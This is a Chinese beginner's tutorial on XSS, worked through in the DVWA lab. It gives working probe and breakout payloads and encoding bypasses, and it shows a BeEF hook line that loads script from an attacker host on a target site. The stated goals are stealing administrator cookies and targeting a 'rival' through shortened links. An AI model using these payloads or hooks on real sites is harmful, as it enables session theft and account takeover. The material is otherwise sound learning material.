如有侵权,请联系删除
前言
xss,跨站脚本攻击。脚本,大家应该知道啥意思了,就是前端的东西。对于大部分网站而言,就是指的是js脚本吧。
所以,xss的利用,就是将一段js代码,插入到原本的js代码中。
然后利用js神奇的特性,就可以获取到访问修改后站点的用户的一些信息,还可以进行一些操作。
对于我这个连脚本小子都不算的人来所,这些将全部由beef
来完成。
因为昨天刚刚学习完sql注入漏洞
,所以这个思维上多多少少得变换一下:
- sql,小学二年级就学过,是数据库相关的一个东西,也就是后台;
- xss,三年级学过的,是对前端js代码的一种恶意利用,和后台一点关系没有。
- 另外就是,sql漏洞并不需要其他人做什么,自己把漏洞利用好就可以黑进数据库;xss不一样,他是在前端的操作,没法直接获取后台数据,这就需要我们将植入恶意代码的网页让管理员访问,由此获取管理员的cookie,然后登录后台
XSS基础
探针
常见测试语句:
关于单标签加不加/的问题:随便
网上的说法就是html从来没有要求过加这个/
<script>alert(1)</script>
<img src=x onerror=alert(1)> # 给一个不存在的src,这样就会onerror
<svg onload=alert(1)>
<a href=favascript:alert(1)>
有些时候可能需要对原本js代码进行闭合,比如payload是<img src=x onerror=alert(1)>
的话,我们需要闭合原本js,就变成了"><img src=x onerror=alert(1)/>
。
因为假如前端代码为<input type='text' value=""><img src=x onerror=alert(1)>
,这样"
闭合了value的引号,>
闭合了input
的>
。具体闭合方式可以F12自己查看。
反射型XSS
这种只是将一段js代码插入到一个网站的原始代码中,相当于得到了一个新的网页,将该网页单独发给某个人,网站管理员也好,情敌也罢。
那个人访问了之后,就会触发xss
需要注意两点:
- 植入的代码只是放到了前端,所以只能用一次。不持久。
- 植入恶意代码后,站点的网址会发生改变。
- 想要他人访问,只能单独发给他人。
但是说真的,改变后的网址攻击性非常明显,比如dvwa平台的反射型xss原本的代码是这样的
http://127.0.0.1:8081/vulnerabilities/xss_r/
提交payload之后,payload为上边的探针
http://127.0.0.1:8081/vulnerabilities/xss_r/?name=<script>alert('111')<%2Fscript>#
基本不是盲人都可以看出来这特么有xss吧,于是短网址网站
应运而生:百度短网址
储存型XSS
这个和反射型有很大的区别,因为这个会和数据库交互,常出现在留言板。当你提交一段恶意代码,前端js没有进行过滤,直接将你的留言内容(或者标题之类的,反正就是要存到数据库中的)直接存在数据库中,然后通过select语句将你的留言内容传回来,然后打印在前端页面。这个时候,你的恶意代码就会执行。
我们看一下DVWA 存储型XSS
源码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
js的功能就是接收用户输入,传到后台,然后接收后台返回,打印到页面。没什么可看的。
看上边那段php,一共四步:
// Get input
// Sanitize message input
// Sanitize name input
// Update database
前后端没有任何过滤
需要注意一点:
- 这个是持久性的,因为代码已经上传至网站数据库
- 植入恶意代码后,网址并不会发生改变。因为这并不是生成一个新的网页,是原来的被黑掉了
- 只需静静的等待管理员看你的留言就好,不需要单独发给谁
DOM型XSS
这个是一个特殊的反射型XSS,这个原理我也看不太明白,也没用过。
先这样,以后遇到再更。
编码绕过
JS编码
JS提供了4种字符编码的策略:
- 三个八进制数字,如果字数不够,在前面补0。比如“e”的编码为“\145”。
- 两个十六进制数字,个数不够用0补。比如“e”的编码为“\x65”。
- 四个十六进制数字,个数不够用0补。比如“e”的编码为“\u0065”。
- 对于一些控制字符,使用特殊C类型的转义风格(例如\n和\r)。
HTML实体编码
命名实体:以&开头,以分号结尾。比如“<”的编码为“&1t”。
字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为“&#数值;”。比如“<”可以u编码为“<”和“<”。
URL编码
指的是两次URL全编码
的结果。比如alert
的两次url编码为**********
(太长了,我懒得举例)
XSS平台(BeEF)的使用
该操作在kali中进行(kali中没有集成的,百度教程安装一下)
启动beef服务
启动成功:
注意这三条:
第一条是beef的网址,也就是访问127.0.0.1:3000/ui/panel
第二条是告诉你钩子在哪里
第三条是举例
去目标网站挂马
把127换成攻击机(kali)ip:172.16.229.128
所以小马通常都是
<script src="http://192.168.0.8:3000/hook,js"></script>
成功
颜色的不同含义:
管话:
绿色 对目标主机生效且不可见
橙色 对目标主机生效但可能可见
灰色 对目标主机未必生效
红色 对目标主机不生效
人话:
就是说如果是绿色的,那你可以利用,且不会留下痕迹。如果是橙色的就有可能被发现。
至于灰色和红色,基本可以直接放弃了。